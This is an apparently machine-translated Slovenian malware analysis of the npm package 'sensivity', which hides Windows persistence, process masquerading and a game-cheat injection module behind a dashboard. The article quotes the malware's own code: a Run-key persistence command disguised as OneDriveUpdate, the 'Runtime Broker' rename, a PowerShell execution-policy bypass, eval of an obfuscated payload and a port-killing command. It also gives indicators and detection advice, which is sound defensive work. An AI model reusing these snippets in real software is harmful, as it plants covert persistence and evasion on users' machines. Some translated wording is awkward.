TL; DR
Paket npm občutljivost opisuje se kot »Nadzorna plošča občutljivosti«. V sistemu Windows deluje kot orodje za daljinsko upravljanje in nadzor.
Njegova vstopna točka, launcher.js, preimenuje svoj proces v Runtime Broker, zapiše vrednost samodejnega zagonskega ključa Run z imenom OneDriveUpdate ki ponovno zažene paket prek skritega VBScripta, zažene PowerShell z -ExecutionPolicy Bypassin nato ovrednoti 171 KB obfusiran strežniški koristni tovor skupaj z 6.87 MB izvornim modulom, sens.node.
Streže nadzorno ploščo za seznanjanje telefonov na vratih TCP 3000 in prek sistema Windows UIAutomation bere URL naslovne vrstice aktivnega brskalnika ter išče en trdo kodiran videoposnetek YouTube.
Dva dela, ki sta se prej štela kot črne skrinjice, sta zdaj razrešena. Zakriti strežnik, server.obf.js, uporablja shemo nizov in nizov obfuscator.io RC4; ponovna implementacija njegovega dekoderja brez povezave (brez izvajanja JavaScripta) obnovi eno samo zunanjo končno točko – https://izopi.com/check.php — skupaj z vdelanim javnim ključem RSA, ki se uporablja za preverjanje podpisanih licenčnih odgovorov.
Izvorni modul, sens.node, ni zapakiran: njegova tabela uvoza in vdelani nizi ga identificirajo kot prekrivni sloj DirectX 11 / Dear ImGui v igri, ki zagotavlja funkcije aimbot, ESP (wall-hack) in triggerbot, ki jih poganjata vbrizgavanje v oddaljene procese in branje/pisanje v pomnilnik.
Nizi v njem se sklicujejo na entitete vozil in lokacije na zemljevidu, skladne z GTA V / FiveM. Paket npm je ovoj za dostavo in vztrajnost okoli tega izvornega modula.
Odločilni signal je operativni, ne tehnični: en sam anonimni založnik je izdal približno sedemdeset različic enega paketa – 2.5.0 do 2.5.69 - čez nekaj dni, vsak z istim izstrelovalnikom.
Ni namestitev hooks. Koristni tovor se zažene le, ko je paket zagnan.
Napad: Kako deluje
sensivity pošilja deset datotek. Datoteka package.json je redka: brez polja repozitorija, brez licence, glavni vzdevek in dva vzdevka bin (sensitivity, sens), ki vsi kažejo na launcher.js, in zagonski skript node launcher.js. Ni po-instalacije ali pred-instalacije. Pri namestitvi npm se nič ne sproži. Spodaj opisano vedenje se izvede, ko uporabnik zažene paket – prek bin shim, začetnega skripta ali require.
Datoteka tarball vsebuje zaganjalnik, zakriti strežnik, izvorni modul, skript Visual Basic in imenik public/splet za nadzorno ploščo. launcher.js je berljiv orkestrator; logika, ki je pomembna med izvajanjem, se nahaja v dveh blobih, ki jih naloži – zakritem strežniku in prevedenem izvornem modulu, oba pa sta razrešena spodaj.
Maškarada procesov in lažni program za posodabljanje OneDrive
V zgodnji fazi izvajanja launcher.js dvakrat nastavi svoje lastno ime procesa:
javascript process.title = 'Runtime Broker'; Runtime Broker je legitimni proces sistema Windows (RuntimeBroker.exe), ki posreduje pri dovoljenjih aplikacij. Če preimenujete proces vozlišča, da se ujema z njim, hiter pogled v upravitelja opravil ne pokaže nič nenavadnega.
Persistence je napisana prek PowerShella in ne prek neposrednega API-ja registra:
javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); Vrednost samodejnega zagona se imenuje OneDriveUpdate in ne kaže neposredno na paket. Kaže na wscript.exe, ki izvaja priloženo datoteko OneDrive.Standalone.Updater.vbs. Ta skripta ponovno zažene node launcher.js v skritem oknu. Tako ime ključa Run kot ime datoteke VBScript si sposojata blagovno znamko Microsoft, zato se vnos samodejnega zagona bere kot rutinsko opravilo OneDrive.
PowerShell z obhodom pravilnikov izvajanja
Zaganjalnik se večkrat obrne na PowerShell. Ponor, ki ga skenerji označijo kot kritičnega, je zagon ustvarjene datoteke .ps1 z onemogočenim pravilnikom izvajanja:
javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); Obhod pravilnika izvajanja odstrani preverjanje lokalnega podpisovanja skriptov za ta klic. Ustvarjeni skripti obravnavajo delo nadzora brskalnika in zaznavanja oken, opisano v naslednjem razdelku.
Zakriti strežnik in izvorni modul
Po nastavitvi launcher.js naloži in izvede svoj dejanski koristni tovor:
const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8')); Datoteka server.obf.js je velika 171 KB in obsega _0x-array obfuscation – vzorec JavaScript, kjer se vsak niz in identifikator nadomesti z indeksom v premešanem polju, nato pa se med izvajanjem odstrani referenca. Shema je različica RC4, ki jo proizvaja obfuscator.io: ena sama funkcija dekoderja dekodira vnos v polje z base64 in ga nato dešifrira z RC4 s ključem na klic. Ponovna implementacija tega dekoderja v ločenem skriptu – izvajanje samo ponovne implementacije nad izvlečenim nizom z 821 vnosi, nikoli lastnega JavaScripta paketa – ga čisto razplete. Kar se zdi skromno, a decisive: en zunanji URL, https://izopi.com/check.php`, dodeljen konstanti LICENSE_URL; vdelani RSA PUBLIC_KEY_PEM`; lokalna plošča usmerja /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off in /trigger/status; ter nizi child_process, crypto in [Sensivity] sens.node loaded – zadnji je natančna vrstica dnevnika, ki jo zaganjalnik prepiše v programski modul loaded. Končna točka je preverjanje licence: odjemalec objavi identifikator (zakriti strežnik oblikuje niz Discord ID: %s) in ključ RSA preveri podpisan odgovor strežnika.
sens.node je 6.87 MB velik preveden izvorni dodatek in ni zapakiran – entropija odsekov je na ravni 5.6–6.6, uvozne in izvozne tabele PE pa so nedotaknjene, zato so njegove zmogljivosti berljive neposredno. Izvozi napi_register_module_v1, standard Vstopna točka N-API vozlišča, zato jo strežnik, ki ga ovrednotimo, naloži z navadnim ukazom require. Njegova tabela uvoza je ukaz tell. Iz KERNEL32 potegne OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules in Process32First/NextW – kanonični nabor za iskanje drugega procesa, dodeljevanje pomnilnika v njem in branje ali pisanje tega pomnilnika. Iz USER32 potegne GetAsyncKeyState, GetKeyState, mouse_event in SetCursorPos; poveže d3d11.dll, D3DCOMPILER_43 in dwmapi za prekrivni element na zaslonu ter celoten nabor WINHTTP za omrežne klice. Vdelani nizi poimenujejo nabor funkcij brez dvoumnosti: Omogoči Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, ESP zaznan Electron Anticheat in napis Dear ImGui Dear ImGui 1.91.3 WIP. Nizi lokacij in entitet, kot sta Grapeseed Medical Clinic in besedišče vehicle-ESP, so skladni z GTA V / FiveM.
Razdelitev je namerna: berljiva datoteka launcher.js vsebuje le tiste dele, ki jih skener zlahka prebere – persistence, maskarade, sam klic eval – medtem ko zakrivanje skrije edinega zunanjega gostitelja, s katerim se izvajalno okolje poveže, binarna datoteka pa vsebuje logiko prekrivanja igre in vbrizgavanja procesov. Zaganjalnik je tanka, pregledna lupina; zakriti strežnik skriva omrežno identiteto; izvorni modul je koristni tovor. Uvoze in nize binarne datoteke opisujemo kot prebrane; iz njih ne sklepamo o namenu operaterja.
Nadzorna plošča za seznanjanje telefonov na vratih 3000
Zaganjalnik upravlja lokalni spletni strežnik na TCP vratih 3000 in ga obravnava kot singleton. Pred vezavo poišče obstoječi poslušalnik in ga počisti:
javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); Panel je dosegljiv na http://localhost:3000, s trdno kodiranim nadomestnim URL-jem LAN http://192.168.1.16:3000. Imenik public/ in delovanje panela sta skladna s potekom seznanjanja QR-kod: telefon skenira kodo in se poveže z gostiteljem kot oddaljeni upravljalnik. V zaganjalniku se v jasnem besedilu ne prikaže nobena zunanja domena za upravljanje in nadzor – vendar je, kot kaže zgornja razkrita povezava, v zakritem strežniku prisotna: končna točka licence izopi.com. Sam panel je lokalen in ima obseg LAN; edini odhodni gostitelj je to preverjanje licence.
Ločen model nadzornika/delavca ohranja proces aktiven. Zaganjalnik se ponovno zažene z zastavicami okolja SENSIVITY_SUPERVISOR in SENSIVITY_WORKER, pri čemer se vsak podrejeni proces izvaja skrit, zato po uničenju enega procesa ostane nadzornik, ki ga mora znova zagnati.
Nadzor brskalnika in YouTube signal
Najbolj specifično vedenje je spremljanje brskalnika. launcher.js gradi PowerShell, ki poganja Windows UIAutomation za branje naslovne vrstice delujočega brskalnika:
javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', Funkcija ValuePattern vrne besedilno vsebino elementa uporabniškega vmesnika. Če jo uporabimo za urejanje v naslovni vrstici brskalnika, vrne URL, ki si ga žrtev trenutno ogleduje – brez razširitve brskalnika, brez dotikanja profila na disku in brez povezave API. Ustvarjeni skript ponovi seznam $browserNames in izvleče URL ali naslov okna brskalnika, ki je v ospredju.
Ta URL se preizkusi glede na en sam trdo kodiran cilj:
javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; Zaganjalnik v trisekundni zanki išče okno brskalnika, ki prikazuje YouTube, ustvarjeni PowerShell pa vsebuje par Get-YouTubeBrowser / Test-TargetYouTubeUrl, ki se ujema s tem ID-jem videoposnetka. Opazen učinek je dvojen: z zaslona žrtve se prebere aktivni URL brskanja in zazna se interakcija gostitelja z enim določenim videoposnetkom YouTube. Opisujemo mehanizem in tarčo; iz njiju ne sklepamo o motivu.
Branje naslovne vrstice je tisto, kar skener označi kot sensitive_data_enumeration – vir Process::env in UIAutomation, ki napaja omrežno zmogljivo izvajalno okolje. Sam po sebi je videti neškodljiv in se razreši kot nadzor šele, ko je življenjski cikel podatkov sleden od vira UIAutomation do zakritega strežnika.
Časovnica in razvoj različic
Občutljivost ni enkratna naložitev. Založnikov račun ima približno sedemdeset objavljenih različic tega enega samega paketa, nove pa so prihajale tudi med pregledovanjem. Zaganjalnik se v liniji 2.5.x razvija iz funkcije v funkcijo, medtem ko njegova obstojnost in nalaganje koristnega tovora ostajata nespremenjena.
| Datum (UTC) | Opažene različice | Stanje zaganjalnika |
|---|---|---|
| 2026-06-02 | 2.5.8 - 2.5.46 (25) | Osnovni zaganjalnik QR-panela; vztrajnost tipke za zagon; ocena zakritega strežnika. |
| 2026-06-03 | 2.5.53 - 2.5.61 (6) | Isti prstni odtis; zatiranje sledi konzole. |
| 2026-06-04 | 2.5.67, 2.5.68 (2) | Doda pripet cilj interakcije na YouTubu wJWta2lO0Lw. |
| 2026-06-05 | 2.5.0 - 2.5.69 (24) | Zapolnjevanje vrzeli, ponovna objava v celotnem obsegu; nadzornik/delavski nadzornik. |
Branje zaganjalnika v prenesenih predstavnikih – 2.5.0, 2.5.36 in 2.5.69 – pokaže štiri ravni. Najzgodnejše gradnje vsebujejo osnovni zaganjalnik za združevanje QR-jev. Od različice 2.5.33 se pojavi zbiralnik naslovne vrstice UIAutomation. Od različice 2.5.58 je dodana plast za upravljanje nadzornikov. Od različice 2.5.64 nabor dopolnjuje ločen nadzornik/delavec. Skozi celotno različico se štiri stvari nikoli ne spremenijo: ključ OneDriveUpdate Run, ukazna vrstica OneDrive.Standalone.Updater.vbs, eval'd server.obf.js in izvorni modul sens.node.
Val 2026-06-05 je opazen, ker je ponovno objavil nizke številke različic – od 2.5.0 do 2.5.15 – ki so pod različicami, potrjenimi nekaj dni prej. Učinek je neprekinjena vrstica 2.5.x v registru, pri čemer ima vsaka različica isti zaganjalnik.
Kazalniki kompromisa
Vsi spodnji kazalniki so bili prebrani neposredno iz tarballa paketa. Berljiv zaganjalnik vsebuje samo povratno zanko in en sam zasebni LAN naslov; eno zunanje ime gostitelja, izopi.com, je bilo obnovljeno z deobfusciranjem server.obf.js brez povezave.
| tip | Kazalec | Opombe |
|---|---|---|
| paket | npm:sensivity (≈70 različic, 2.5.0-2.5.69) | Založnik enega paketa; brez repozitorija; brez licence. |
| file | launcher.js | Berljiv orkestrator; glavni in košni cilj. |
| file | server.obf.js (≈171 KB) | koristni tovor nizov obfuscator.io RC4, naložen prek eval(fs.readFileSync(...)). |
| file | sens.node (≈6.87 MB) | Dodatek PE32+ x86-64 Node N-API; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40. |
| file | OneDrive.Standalone.Updater.vbs | Skriti ponovni zaganjalnik (node launcher.js). |
| mreža | https://izopi.com/check.php | Končna točka licence/avtorizacije, pridobljena z zakritega strežnika; vdelani javni ključ RSA preverja odgovore. |
| Zmožnost | OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread | Vbrizgavanje v oddaljene procese in zmožnost branja/pisanja v pomnilnik. |
| Zmožnost | Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP | Prekrivanje igre DirectX 11 / ImGui, ki implementira funkcije aimbot, ESP in triggerbot. |
| registra | HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate | Vrednost samodejnega zagona, ki kaže na wscript.exe in zaganjalnik VBScript. |
| Proces | process.title = 'Runtime Broker' | Maskaraduje se kot legitimni proces Windows Runtime Broker. |
| Vedenjsko | powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 | Obhod pravilnika izvajanja, ki se uporablja za ustvarjene skripte PowerShell. |
| Vedenjsko | UIAutomation ValuePattern branje naslovne vrstice brskalnika | Prebere URL okna brskalnika v ospredju. |
| Vedenjsko | ID ciljnega videoposnetka wJWta2lO0Lw3-sekundna anketa na YouTubu | Pripet signal za spremljanje angažiranosti. |
| mreža | http://localhost:3000, rezervni http://192.168.1.16:3000 | Nadzorna plošča za združevanje QR-kod je izpostavljena lokalno in v lokalnem omrežju. |
| Okolje | SENSIVITY_SUPERVISOR, SENSIVITY_WORKER | Zastavice koordinacije ločenih nadzornih procesov. |
Pripisovanje, vpliv in zagovorniki
Paket je objavil en sam npm račun, katerega navedeni e-poštni naslov je nepreverjen Gmailov naslov. Račun ima zelo negativno oceno ugleda v registru, vzdržuje in objavlja samo ta en paket in nima povezanega repozitorija izvorne kode. Lastništva e-poštnega naslova nismo preverili in kampanjo pripisujemo računu založnika, ne pa nobeni imenovani osebi. Zaganjalnik nima infrastrukture za odprto besedilo, vendar je zdaj znan edini zunanji gostitelj: zakriti strežnik se obrne na izopi.com za preverjanje licence, izvorni modul – ki se bere iz svoje tabele uvoza in nizov namesto obratnega navodila za navodilom – pa je prekrivni sloj igre, ki vbrizgava in bere pomnilnik drugega procesa.
Opazen vpliv je na uporabnike sistema Windows, ki namestijo in zaženejo Sensitivity, pričakujejoč pripomoček nadzorne plošče. Na teh gostiteljih paket vzpostavi samodejni zagon, prikrit kot opravilo OneDrive, se preimenuje, da posnema sistemski proces, prebere URL vsega, kar uporabnik brska, in ustvari nadzorno ploščo, ki poveže računalnik z oddaljenim strežnikom prek lokalnega omrežja. Nadzornik/delavec pomeni, da en sam proces ne odstrani; vnos s tipko Run preživi ponovne zagone. Zaganjalnik ne cilja na macOS in Linux – poti persistence, PowerShell in UIAutomation so samo za Windows.
Trend, ki ga je vredno opozoriti, je, da se en paket spreminja v sedemdeset različic. Če v nekaj dneh večkrat ponovno objavimo en paket, vključno z vnašanjem številk različic pod tiste, ki so že bile odstranjene, se v registru ohrani aktivna kopija med odstranitvami in to ovira blokirane sezname različic. Vnos na seznam blokiranih za sensivity@2.5.61 ne naredi ničesar proti sensivity@2.5.3, ki je bil ponovno objavljen naslednji dan.
Zagovorniki lahko ukrepajo na naslednje načine:
- V seznamih dovoljenih za registry-proxy in CI popolnoma blokirajte občutljivost imena paketa. Pripenjanje posameznih različic vpliva na hitrost ponovne objave; ime je trajni pokazatelj.
- Poiščite vrednost »Zaženi« z imenom OneDriveUpdate, katere podatki pokličejo wscript.exe za datoteko .vbs v poti na uporabnika. Originalni program za posodabljanje OneDrive ni registriran na ta način.
- Opozorilo o procesu Node.js, katerega process.title je Runtime Broker. Pravi posrednik je RuntimeBroker.exe, ne pa izvajalno okolje Node.
- Označi npm-ove namestitvene prenose paketov, ki vsebujejo prevedeni dodatek .node in eval(fs.readFileSync(…)) sorodne datoteke .obf.js. Ta par – neprozorna izvorna binarna datoteka, naložena poleg zakritega besedilnega koristnega tovora – je tukaj strukturni pokazatelj, neodvisen od katerega koli niza IOC.
- Vsak lokalno vezan poslušalec na vratih 3000, ki ga je sprožil nepričakovan proces vozlišča, na upravljanih končnih točkah sistema Windows obravnavaj kot sumljivega.
- Blokiraj ali opozori na odhodne zahteve za izopi.com od razvijalcev ali končnih uporabnikov; to je edina zunanja končna točka paketa, dosežena na /check.php z zakritega strežnika.
- Za kateri koli priloženi dodatek .node preverite njegovo tabelo uvoza, preden mu zaupate. Kombinacija OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread je vbrizgavanje v oddaljeni proces, ne glede na to, kaj paket trdi, da počne; tukaj se nahaja poleg prekrivnega sloja Direct3D in nizov aimbot/ESP/triggerbot.
Za statično analizo pipelineOblika prepričanja je trajna skozi celotno menjavo različic: profil namestitve, ki ni v omrežju, dodelitev naslova procesa znanemu imenu sistemskega procesa, pisanje s ključem Run prek PowerShella in ocena datoteke, prebrane z diska. Nič od tega ni odvisno od domene, IP-naslova ali številke različice, ki jo lahko naslednja ponovna objava zavrti.
Reference
[npm: občutljivost] – stran registra za vrstico različice paketa, o kateri smo razpravljali tukaj; pod pogojem, da se odstrani.





